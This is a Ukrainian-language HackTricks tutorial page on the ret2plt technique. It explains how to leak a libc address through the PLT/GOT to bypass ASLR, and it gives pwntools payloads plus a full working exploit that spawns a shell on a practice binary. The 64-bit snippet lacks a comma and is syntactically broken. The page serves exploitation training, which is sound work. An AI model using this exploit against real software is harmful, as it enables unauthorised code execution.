5.2 KiB
Ret2plt
{% hint style="success" %}
Вивчайте та практикуйте взлом AWS: Навчання HackTricks AWS Red Team Expert (ARTE)
Вивчайте та практикуйте взлом GCP: Навчання HackTricks GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
- Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.
Основна інформація
Метою цієї техніки є витік адреси функції з PLT, щоб обійти ASLR. Це тому, що, наприклад, якщо ви витікаєте адресу функції puts
з libc, ви потім можете обчислити базу libc
та обчислити зміщення для доступу до інших функцій, таких як system
.
Це можна зробити за допомогою пакету pwntools
, наприклад (звідси):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Зверніть увагу, як puts
(використовуючи адресу з PLT) викликається з адресою puts
, розташованою в GOT (глобальній таблиці зміщень). Це тому, що на момент, коли puts
друкує запис GOT puts
, цей запис буде містити точну адресу puts
в пам'яті.
Також зверніть увагу, як адреса main
використовується в експлойті, тому коли puts
завершує своє виконання, бінарний файл знову викликає main
замість виходу (таким чином витік адреси залишиться дійсним).
{% hint style="danger" %} Зверніть увагу, що для цього працювати бінарний файл не може бути скомпільований з PIE або вам потрібно мати витік для обходу PIE, щоб знати адресу PLT, GOT та main. В іншому випадку спочатку потрібно обійти PIE. {% endhint %}
Ви можете знайти повний приклад цього обходу тут. Це був остаточний експлойт з того прикладу:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Інші приклади та посилання
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64-бітна, увімкнена ASLR, але без PIE, перший крок - заповнити переповнення до байта 0x00 канарейки, а потім викликати puts і витікати її. З канарейкою створюється ROP-гаджет для виклику puts для витоку адреси puts з GOT, а потім ROP-гаджет для виклику
system('/bin/sh')
. - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64-бітна, увімкнена ASLR, без канарейки, переповнення стеку в main від дочірньої функції. ROP-гаджет для виклику puts для витоку адреси puts з GOT, а потім виклик одного гаджета.